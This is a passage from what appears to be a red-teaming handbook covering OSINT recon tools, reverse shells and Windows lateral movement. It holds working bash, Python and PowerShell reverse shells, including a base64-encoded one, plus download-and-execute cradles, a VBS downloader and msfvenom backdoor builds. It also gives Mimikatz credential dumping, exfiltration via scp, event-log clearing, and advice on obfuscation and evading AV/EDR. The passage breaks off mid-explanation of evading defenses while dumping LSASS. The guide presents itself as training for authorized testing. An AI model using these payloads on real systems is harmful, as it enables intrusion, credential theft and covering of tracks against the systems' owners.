| firebase.google.com           | Free (Register to get the API)                                                           |
| haveibeenpwned.com            | Free, absolutely the best in the market to check the status of the compromised email IDs |

#### Data Leak Search Offline Tools (Mostly used):

<table><thead><tr><th width="286">Tool</th><th>Where to find</th></tr></thead><tbody><tr><td>theHarvester</td><td>Free- Kali/ParrotOS</td></tr><tr><td>mosint</td><td>Free- Kali/ParrotOS</td></tr><tr><td>h8mail</td><td>Free- Kali/ParrotOS</td></tr><tr><td>recon-ng</td><td>Free- Kali/ParrotOS</td></tr></tbody></table>

#### Subdomain Recon- Some popular tools:

<table><thead><tr><th width="231">Tool/Site</th><th>Remarks</th></tr></thead><tbody><tr><td>puredns</td><td><code>puredns bruteforce /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt redteamgarage.com -r ./resolvers.txt</code></td></tr><tr><td>amass</td><td><code>amass enum -d redteamgarage.com -rf resolvers.txt</code></td></tr><tr><td>subdomainfinder.c99.nl</td><td>Online Site</td></tr><tr><td>censys.io</td><td>Online Site</td></tr><tr><td>crt.sh</td><td>Online Site</td></tr><tr><td>virustotal.com</td><td>Online Site</td></tr><tr><td>knockpy</td><td><code>knockpy -d redteamgarage.com --recon --bruteforce</code></td></tr></tbody></table>

#### Some examples of subdomain recon:

<figure><img src="/files/jB1CrBR7Ubo7maQgheBh" alt=""><figcaption><p><em>Example: knockpy</em></p></figcaption></figure>

<figure><img src="/files/e5D6OZZxuVWYFUQr0byw" alt=""><figcaption><p><em>Example: amass</em></p></figcaption></figure>

<figure><img src="/files/6M6sG3DjHtzzyiKtYXnw" alt=""><figcaption><p><em>Example: puredns</em></p></figcaption></figure>

<figure><img src="/files/3XNl4jJHRJIV4zFAjNY5" alt=""><figcaption><p><em>Example: crt.sh</em></p></figcaption></figure>


# OSINT for Red Teaming

Open-source intelligence (OSINT) is a critical component of reconnaissance. OSINT involves gathering information from publicly available sources, such as social media, news articles, and company websites. It can be used to gather information about the target's employees, partners, and vendors. It also helps Red Teamers to understand the target's business model, organizational structure, and security posture.

OSINT can provide Red Teamers with a wealth of information that is not available through other reconnaissance methods. It can help to identify potential attack vectors and vulnerabilities that may be exploited during a Red Teaming exercise. OSINT also helps to provide context for the target's digital footprint, making it easier to plan and execute successful attacks.

#### Benefits of OSINT gathering

The benefits of OSINT gathering for Red Teaming include:

* Identifying potential attack vectors and vulnerabilities.
* Providing context for the target's digital footprint.
* Understanding the target's business model and organizational structure.
* Gathering information about the target's employees, partners, and vendors.
* Enhancing the overall effectiveness of the Red Teaming exercise.

#### Sources of OSINT

OSINT can be gathered from a wide range of sources, including:

Cyber security search engines: Cyber security search engines are a valuable source of information for Red Teamers during the reconnaissance phase. These search engines are specifically designed to search the internet for sensitive and confidential information that may have been leaked or exposed. The information gathered through these search engines can be used to identify potential attack vectors and vulnerabilities that may be exploited during a Red Teaming exercise.

#### Examples of cyber security search engines include:

* Dehashed.com: Dehashed.com is a popular cyber security search engine that allows users to search for leaked credentials, email addresses, and other sensitive information. The platform uses a combination of data breaches and other publicly available sources to build its database.
* Intelx.io: Intelx.io is a comprehensive cyber security search engine that allows users to search for a wide range of information, including domain names, email addresses, IP addresses, and leaked credentials. The platform uses a combination of data breaches, dark web sources, and other publicly available sources to build its database.
* Shodan.io: Shodan.io is a search engine designed specifically for internet-connected devices. The platform allows users to search for a wide range of devices, including routers, cameras, and IoT devices. Shodan.io can be used to identify vulnerable devices and services that may be exploited during a Red Teaming exercise.
* Censys.io: Censys.io is another search engine designed specifically for internet-connected devices. The platform allows users to search for a wide range of devices, including web servers, databases, and IoT devices. Censys.io can be used to identify potential vulnerabilities and misconfigurations that may be exploited during a Red Teaming exercise.

Cyber security search engines can be a valuable source of information for Red Teamers during the reconnaissance phase. Some of them are free whereas some are paid and play a crucial role in the OSINT process. However, it is important to note that the use of these search engines must be done by ethical standards and the law. It is important to obtain proper authorization and ensure that the information gathered is used solely for the Red Teaming exercise.&#x20;

**Open-Source Intelligence Tools:** Open-source intelligence tools like Maltego, SpiderFoot, and Recon-ng can be used to gather information from a wide range of sources. These tools can automate the OSINT gathering process and provide Red Teamers with a comprehensive view of the target's digital footprint.

### Some Free and Paid Tools

Open-source intelligence (OSINT) plays a crucial role in reconnaissance, providing valuable insights and information about the target organization. In the world of Red Teaming, a wide range of both free and paid OSINT tools are available, empowering Red Teamers to gather actionable intelligence and enhance their reconnaissance capabilities. Let's explore a selection of these tools, encompassing both freely accessible options and robust paid solutions, that enable Red Teamers to harness the power of OSINT in their operations.

**Maltego:** Maltego is a popular open-source intelligence tool used for OSINT gathering. The platform provides a range of tools and features for gathering information about the target, including domain names, IP addresses, social media profiles, and email addresses. Maltego uses a variety of sources to gather information, including search engines, social media platforms, and public databases. The platform also provides a range of visualizations and analysis tools to help Red Teamers identify potential vulnerabilities and attack vectors. Maltego is available in both free and paid versions.

**SpiderFoot:** SpiderFoot is another popular open-source intelligence tool used for OSINT gathering. The platform is designed to automate the process of gathering information from a wide range of sources, including search engines, social media platforms, and public databases. SpiderFoot can be used to gather information about the target's domain names, IP addresses, email addresses, and social media profiles. The platform also provides a range of analysis and visualization tools to help Red Teamers identify potential vulnerabilities and attack vectors. SpiderFoot is available as a free, open-source tool.

Both Maltego and SpiderFoot are valuable tools for Red Teamers during the reconnaissance phase. They can automate the process of gathering OSINT and provide Red Teamers with a comprehensive view of the target's digital footprint. However, it is important to note that the use of these tools must be done by ethical standards and the law. It is important to obtain proper authorization and ensure that the information gathered is used solely for the Red Teaming exercise.

Screenshots of some of these tools:

**Maltego:**

<figure><img src="/files/hlbDICZizoM2qKK2RQBb" alt=""><figcaption><p><em>Maltego in Action 1.0</em> Image Credit: <a href="https://docs.maltego.com/support/solutions/articles/15000018947-what-is-maltego-community-edition-ce-">https://docs.maltego.com/support/solutions/articles/15000018947-what-is-maltego-community-edition-ce-</a></p></figcaption></figure>

**SpiferFoot:**

<figure><img src="/files/aNeughwVahn6CxICMmKL" alt=""><figcaption></figcaption></figure>

**Social media platforms:** Social media platforms like *LinkedIn, Facebook*, and *Twitter* are valuable sources of information about the target's employees, partners, and customers. These platforms can be used to gather information about the target's organizational structure, business model, and critical assets.

**News articles:** News articles can provide valuable information about the target's business activities, partnerships, and vulnerabilities. News articles can be found using search engines like *Google* and *Bing*, and news aggregators like *Feedly* and *Flipboard*.

**Company websites:** Company websites can provide detailed information about the target's organizational structure, products, services, and partners. Company websites can be used to identify potential vulnerabilities in the target's web applications and systems.

**Government websites:** Government websites can provide information about the target's regulatory and compliance requirements, as well as any vulnerabilities that may be exploited.

**Google Dorking:** Google Dorking is the process of using advanced search operators to find specific information on the Internet. Google Dorking can be used to find vulnerable web applications, login pages, and database files.

**Social engineering:** Social engineering techniques like phishing and pretexting can be used to gather sensitive information from employees and partners. These techniques involve creating fake emails, websites, and phone calls to trick individuals into providing sensitive information.

**Passive DNS:** Passive DNS involves collecting and analyzing DNS data to identify patterns and relationships between domains and IP addresses. Passive DNS can be used to identify potential entry points into the target's network.

**Domain Name System (DNS) enumeration:** DNS enumeration involves gathering information about the target's DNS servers and domain names. This information can be used to identify potential entry points into the target's network.

#### Shodan example:

<figure><img src="/files/aR7SBr1ZbO4Kt6L5KGxE" alt=""><figcaption><p><em>Shodan in action: Search almost anything on the internet</em></p></figcaption></figure>

<figure><img src="/files/RZBNa5HFN3pJ9lSoYEPp" alt=""><figcaption><p><em>Shodan in action: Search Query Examples</em></p></figcaption></figure>


# Reverse Shell 101

**Reverse Shell 101: Practical Insights for Red Teamers**

In the dynamic world of red teaming, mastering the use of reverse shells is crucial for maintaining access, maneuvering within a network, and escalating privileges stealthily. This section is designed to focus less on theoretical aspects and more on practical, real-world examples to empower red teamers with actionable skills.

#### **Understanding Reverse Shells**

A reverse shell is a type of shell where the target machine opens a connection to an attacking machine, which then has the ability to execute commands on the target. This is particularly useful in bypassing firewall rules that may block incoming connections but allow outgoing ones.

#### **Setting Up a Basic Reverse Shell**

**Example 1: Bash Reverse Shell** One of the simplest forms of reverse shells is using Bash. This can be effective in environments where Bash is available, and network restrictions are minimal.

```bash
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
```

**Setup:**

* **Attacker Machine (Kali Linux)**: Use `nc -lvnp 4444` to listen on port 4444.
* **Target Machine**: Execute the above Bash command replacing `attacker_ip` with the IP address of the attacker's machine.

#### **Python Reverse Shell**

**Example 2: Python Reverse Shell** Python's extensive standard library allows for the creation of a reverse shell with just a few lines of code.

```python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker_ip",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
```

**Setup:**

* **Attacker Machine**: Start a listener with `nc -lvnp 1234`.
* **Target Machine**: Run the Python script after replacing `attacker_ip` with the attacker's IP.

#### **PowerShell Reverse Shell**

**Example 3: Windows PowerShell Reverse Shell** PowerShell provides a powerful platform for Windows environments.

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>$Client = New-Object System.Net.Sockets.TCPClient("192.168.56.1", 4444);$Stream =$Client.GetStream();[byte[]]$Buffer = New-Object byte[] 1024;while(($I =$Stream.Read($Buffer, 0, 1024)) -ne 0){$Data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($Buffer,0, $I);$SendBack = (iex $Data 2>&#x26;1 | Out-String );    $SendBack2  = $SendBack + 'PS ' + (pwd).Path + '> ';$SendByte = ([text.encoding]::ASCII).GetBytes($SendBack2);$Stream.Write($SendByte,0,$SendByte.Length);$Stream.Flush();}$Client.Close();
</strong></code></pre>

**Setup:**

* **Attacker Machine**: Listen on the specified port using `nc -lvnp 4445`.
* **Target Machine**: Execute the PowerShell command.

#### **Real-World Application Scenarios**

* **Scenario 1: Post-Exploitation Data Exfiltration** After gaining initial access through a phishing attack, a reverse shell is established to move laterally within the network, searching for sensitive data to exfiltrate.
* **Scenario 2: Maintaining Persistence** Reverse shells can be integrated into scheduled tasks or services to ensure persistence even after system restarts, providing continued access for ongoing exploitation.
* **Scenario 3: Bypassing Endpoint Protection** Advanced reverse shells can be encoded or encrypted to evade antivirus detection, often using tools like `shikata_ga_nai` encoder in Metasploit or custom encryption routines.

<figure><img src="/files/eeEs4oziOWolK6c1j2t8" alt=""><figcaption><p><em>Example of a reverse connection established by an Attacker</em></p></figcaption></figure>

<figure><img src="/files/FCdloHFeDh407ynWvr7S" alt=""><figcaption><p><em>Example of reverse shell using Windows Powershell</em></p></figcaption></figure>

**Tips for Effective Use**

* **Obfuscation**: Always obfuscate the reverse shell code to avoid detection by network monitoring tools.
* **Randomize Ports**: Use non-standard ports for reverse shells to avoid typical firewall rules.
* **Cleanup**: Ensure to remove traces of the reverse shell after use to avoid detection during forensic analysis.

#### **Conclusion**

Understanding and implementing reverse shells are fundamental skills for any red teamer. By practicing these examples in controlled environments and adapting them to specific target scenarios, red teamers can enhance their capability to perform comprehensive security assessments and effectively demonstrate real-world attack vectors.

This hands-on approach ensures that red teamers are not only familiar with the theory but are also adept at applying these techniques in real-world scenarios to achieve their objectives efficiently and stealthily.


# Windows Reverse Shell

### Windows Reverse Shells

#### Power of Powershell on Windows

Download Reverse Shells on the target machine:

{% code title="Download and execute the script" overflow="wrap" %}

```powershell
powershell.exe -c iex(new-object system.net.webclient).downloadstring('http://10.10.10.10/powerrev.ps1'/
```

{% endcode %}

{% code title="Run the shell in memory" overflow="wrap" %}

```powershell
powershell.exe iex(invoke-webrequest("http://10.10.10.10:8001/powerrev.ps1") -UseBasicParsing))

powershell.exe iex(iwr(http://10.10.10.10:8001/powerrev.ps1) -usebasicparsing)
```

{% endcode %}

{% code title="Download the rev shell on the target and save it" overflow="wrap" %}

```powershell
powershell.exe Invoke-WebRequest http://10.10.10.10/powerrev.ps1 -OutFile c:\temp\powerrev.ps1
powershell.exe c:\temp\powerrev.ps1
```

{% endcode %}

{% code title="Multiple ways to download and execute the shell on the victim system" overflow="wrap" %}

```powershell
iex (New-Object Net.Webclient).DownloadString('https://webserver/payload.ps1')																				
																	
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.56.102:8002/shell.ps1');sleep 2;$response=$ie.Document.body.innerHTML;$ie.quit();$wshell = New-Object -ComObject wscript.shell;$wshell.AppActivate($OpenWindow.MainWindowTitle);Start-Sleep -Seconds 3;$wshell.SendKeys("{ENTER}");iex $response; iex $wshell																				
```

{% endcode %}

{% code title="PSv3 onwards" overflow="wrap" %}

```powershell
iex (iwr 'http://192.168.230.1/evil.ps1')																				
																				
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET', 'http://192.168.56.102:8002/shell.ps1',$false);$h.send();iex $h.responseText																				
																				
$wr= [System.NET.WebRequest]::Create("http://192.168.56.102:8002/shell.ps1")																				
$r=$wr.GetResponse()																				
IEX([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
```

{% endcode %}

{% code title="Download shell with VBS" overflow="wrap" %}

```powershell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs	
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs	
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs	
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs	
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs	
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs	
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs	
echo Err.Clear >> wget.vbs	
echo Set http = Nothing >> wget.vbs	
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs	
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs	
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs	
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs	
echo http.Open "GET", strURL, False >> wget.vbs	
echo http.Send >> wget.vbs	
echo varByteArray = http.ResponseBody >> wget.vbs	
echo Set http = Nothing >> wget.vbs	
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs	
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs	
echo strData = "" >> wget.vbs	
echo strBuffer = "" >> wget.vbs	
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs	
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs	
echo Next >> wget.vbs	
echo ts.Close >> wget.vbs
```

{% endcode %}

### Some more powershell shells:

{% code overflow="wrap" %}

```powershell
$LHOST = "10.10.10.10"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.1.1',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.1.1', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
```

{% endcode %}

{% code title="Base64 encode with nc -lvvnp 9001" overflow="wrap" %}

```
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
```

{% endcode %}

{% code title="Powershell on TLS" overflow="wrap" %}

```powershell
$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('10.10.1.1', 9001);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
```

{% endcode %}

#### Windows Stageless reverse TCP <a href="#windows-stageless-reverse-tcp" id="windows-stageless-reverse-tcp"></a>

{% code overflow="wrap" %}

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.1.1.1 LPORT=4244 -f exe > reverse.exe
```

{% endcode %}

#### Windows Staged reverse TCP <a href="#windows-stageless-reverse-tcp" id="windows-stageless-reverse-tcp"></a>

{% code overflow="wrap" %}

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```

{% endcode %}

#### **Note on Modern Security Protections and Advanced Tactics**

While the reverse shell techniques outlined above are powerful tools in a red teamer’s arsenal, it’s important to note that modern security systems such as Endpoint Detection and Response (EDR) solutions have become adept at detecting and mitigating such activities. These protections are designed to analyze system behaviors and network traffic to block the known signatures and anomalous patterns associated with reverse shells.

However, advanced techniques do exist to bypass these protections, which often involve sophisticated methods such as memory injection, obfuscation, and the use of legitimate administrative tools to mimic normal user activities. These advanced methods are not only about evading detection but also about understanding and manipulating the underlying systems and security mechanisms.

To learn more about these advanced evasion techniques and to gain hands-on experience in deploying reverse shells while circumventing modern security defenses, we encourage participation in our live red team classes (sessions). These sessions are designed to provide deep insights into the latest red teaming tactics and real-world applications, enabling participants to stay ahead in the ever-evolving landscape of cybersecurity threats and defenses. Join us to transform your theoretical knowledge into practical expertise and master the art of invisible intrusion.


# Reverse Shell References

{% embed url="<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

{% embed url="<https://github.com/besimorhino/powercat>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>" %}

{% embed url="<https://github.com/MrPineMan/Awesome-Reverse-Shell>" %}

{% embed url="<https://highon.coffee/blog/reverse-shell-cheat-sheet/>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>" %}

{% embed url="<https://www.revshells.com/>" %}


# Lateral Movement 101

### **Introduction**

&#x20;

Have you ever wondered how hackers move laterally once they compromise a system? Where exactly is the flaw? Is that the Security Misconfiguration or access control issues or anything else which makes hacker’s life easier to reach out to the multiple systems by getting undetected by advanced detection and prevention techniques?

This chapter will focus more on the Lateral Movement techniques, real world Red Teaming Scenarios where it is successfully accomplished without getting detected by any AVs/EDRs…

### Key Learning

Assess and compromise many targets to make sure a Red Teamer can have a broader scope. This may help in terms of showcasing the maximum security gaps to the CISO and Team, which are identified during the assignment.

When an attacker has successfully compromised a system, they have several options to further their attack within the network beyond using PowerShell. Here's an overview of the typical post-exploitation steps an attacker might take:

### Ports and Services Scanning

Network Scanning: Attackers often perform network scans to identify other reachable systems within the network. Tools like Nmap can be used to discover open ports and services.

```powershell
nmap -sV -p 1-65535 192.168.1.0/24
```

**Output:** A list of all devices on the network 192.168.1.0/24 with open ports and services

### Internal Systems Exploitation

**Exploiting Vulnerable Services:** With information about open ports and services, attackers can look for vulnerabilities in known services that can be exploited to gain further access or elevated privileges.

Example:

```bash
searchsploit apache 2.4.49
```

**Output:** A list of exploits available for Apache 2.4.49.

### Privilege Escalation

**Local Exploits:** Attackers may use local exploits to gain higher privileges on the compromised machine. Tools like Windows-Exploit-Suggester can be used to identify potential local exploits based on the system's patch level.

Example:

```python
python windows-exploit-suggester.py -d 2023-03-15-mssb.xls -i systeminfo.txt
```

**Output:** A list of potential vulnerabilities and corresponding exploits for the given system.

###

### Credential Access

**Dumping Credentials:** Tools like Mimikatz can be used to extract credentials from the compromised system, which can be used to access other systems.

Example:

```powershell
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
```

{% hint style="info" %}
*Screenshots are available in next few pages...*
{% endhint %}

Output: A list of plaintext passwords, hashes, and Kerberos tickets for logged-in accounts.

**Using Stolen Credentials:** With valid credentials, attackers can move to other systems using methods like Remote Desktop (RDP), SSH, or other remote access protocols.

Example:

```powershell
mstsc /v:target_system
```

Output: An RDP session window to the target system.

### Establishing Persistence

**Installing Backdoors:** Attackers often establish persistence by installing backdoors or rootkits. Tools like Metasploit can be used to create and install payloads that provide persistent access.

Example:

{% code overflow="wrap" %}

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > backdoor.exe
```

{% endcode %}

Output: A 'backdoor.exe' file that will create a reverse TCP connection to the attacker's machine when executed.

### Data Exfiltration

**Data Harvesting:** Sensitive data can be identified and collected for exfiltration. This might include personal data, intellectual property, or operational information.

**Data Transfer:** Data can be transferred out of the network via various means, including FTP, HTTP, DNS tunneling, or even cloud storage services.

Example:

```powershell
scp /path/to/sensitive_data.txt user@attacker_ip:/path/to/store
```

Output: The sensitive data file is securely copied to the attacker's machine.

### Covering Tracks

**Log Tampering:** Attackers may attempt to tamper with or delete logs to hide their activities.

Example:

```powershell
Clear-EventLog -LogName Security
```

Output: The Security event log is cleared.

### Windows Memory Protection

Why Memory Protection is so crucial in today’s world?

Memory protection is crucial for several compelling reasons, especially when considering attacks that target critical processes like LSASS (Local Security Authority Subsystem Service):

·        **Sensitive Data Exposure:** Processes like LSASS handle sensitive information, including login credentials and security tokens. If an attacker dumps the memory contents of such processes, they can gain access to this sensitive data, leading to potential breaches.

·        **Bypassing Security Mechanisms:** Effective memory protection helps prevent attacks that aim to bypass security mechanisms. Without it, attackers could manipulate memory to disable security software or evade detection.

·        **Maintaining System Integrity:** Memory protection ensures that the integrity of system processes is maintained. Compromised memory can lead to system instability, crashes, or unexpected behavior that can be exploited by malicious entities.

### Credentials Dumping: Traditional vs. Modern Approach

**Gaining the Key to the Kingdom**

Once local administrative access has been secured, the ability to extract credentials from a system becomes a pivotal next step for any attacker or red team operative. This practice, known as credential dumping, is the process of obtaining account login and password information from a compromised host. These credentials are the 'keys to the kingdom' that can allow an adversary to move laterally across the network, accessing resources, escalating privileges, and deepening their foothold within the environment.

**Traditional Methods of Credential Dumping**

Traditionally, credential dumping has involved leveraging tools like Windows Credential Editor or pwdump to extract password hashes from the Security Account Manager (SAM) on a Windows system. Attackers might also target the Local Security Authority Subsystem Service (LSASS) process memory, where credentials are stored in plain text or as reversible hashes.

**Example of Traditional Credential Dumping:**

```powershell
# A traditional command-line tool to extract hashes
C:\> pwdump7.exe
```

Sample Output Format:

```
UserID:SID:LM_Hash:NTLM_Hash:::
```

The output from such tools would be a list of user accounts and their corresponding password hashes, which could then be cracked or used in pass-the-hash attacks however modern AVs and EDRs are capable enough to detect these kind of anomalies and immediately take action against it.

<figure><img src="/files/naDeaq1oyemFBceZTE5b" alt=""><figcaption><p>P<em>wDump7.exe has been detected by the AV</em> </p></figcaption></figure>

<figure><img src="/files/yVjLdiHKiX1JiXgSjNKb" alt=""><figcaption><p><em>Threat has been quarantined by AV</em></p></figcaption></figure>

So the question arises that how to tackle this problem as any Red Team Operator would love to bypass these kind of detections, right?

### So here is the modern approach

In modern environments, however, security advancements have forced attackers to evolve their techniques. Enhanced logging, advanced antivirus solutions, and behavioral analytics can often detect and block these traditional methods. As a result, modern attackers have developed more sophisticated means of credential dumping. These include memory dumping tools like Mimikatz, which can extract plaintext passwords, hash values, and even Kerberos tickets from memory.

#### Example of Modern Credential Dumping

```powershell
# Using Mimikatz to dump credentials
mimikatz # sekurlsa::logonpasswords
```

{% hint style="warning" %}
Now-a-days even advanced tools like Mimikatz can also get detected by AVs and EDRs, here is the POC:
{% endhint %}

<figure><img src="/files/ltSFApFzye51pauhQqto" alt=""><figcaption><p><em>About 57 scan engines detected it malicious</em></p></figcaption></figure>

<figure><img src="/files/S4vC7VouX1difXPlMePY" alt=""><figcaption><p><em>About 19 scan engines detected the same as malicious on a different site</em></p></figcaption></figure>

### **A brief on how does LSASS works:**

The Local Security Authority Subsystem Service (LSASS) is a critical component of Microsoft Windows operating systems responsible for enforcing security policies on the system. LSASS handles user logins, password changes, and the creation of access tokens. It also writes to the Windows Security Log.

**Here's a detailed look at how LSASS works:**

Authentication and Logon Process: When a user logs into a Windows system, LSASS is responsible for handling the authentication process. This involves verifying the user's credentials against those stored in the system, typically within the Security Account Manager (SAM) database or Active Directory.

1\.      **Credential Verification:**

·        For local user accounts, LSASS checks the credentials against the SAM.

·        For domain accounts, it communicates with Active Directory.

2\.      **Access Token Creation:**

·        Upon successful authentication, LSASS generates an access token.

·        This token contains the user's SID (Security Identifier) and the SIDs of any groups the user belongs to.

3\.      **Session Handling:**

·        LSASS maintains information about all active sessions on the Windows system.

·        It tracks user logins, logouts, and other session-related activities..

**Password Changes and Account Management:** LSASS also handles password changes and other account management functions. When a password is changed or reset, LSASS ensures that the new password meets the system’s policy requirements and updates the relevant databases.

So ultimately our target is to dump the LSASS process…

Here is how we can achieve the same and won’t get caught by most of the AV/EDRs:

Write a program in C# to dump any process, remember one thing that these days AVs and EDRs are capable enough to detect and prevent these type of Memory dumping attacks hence we will take a different approach:

In my recent engagement, I was struggling to dump the credentials through LSASS process using the CodeDump.exe I have created using C#

The reason was that the MS Defender was stopping me from dumping the process (LSASS) data using my custom script.

Usually this happens because you are dumping something using your custom tools BUT on your hard disk only so how to overcome this problem?

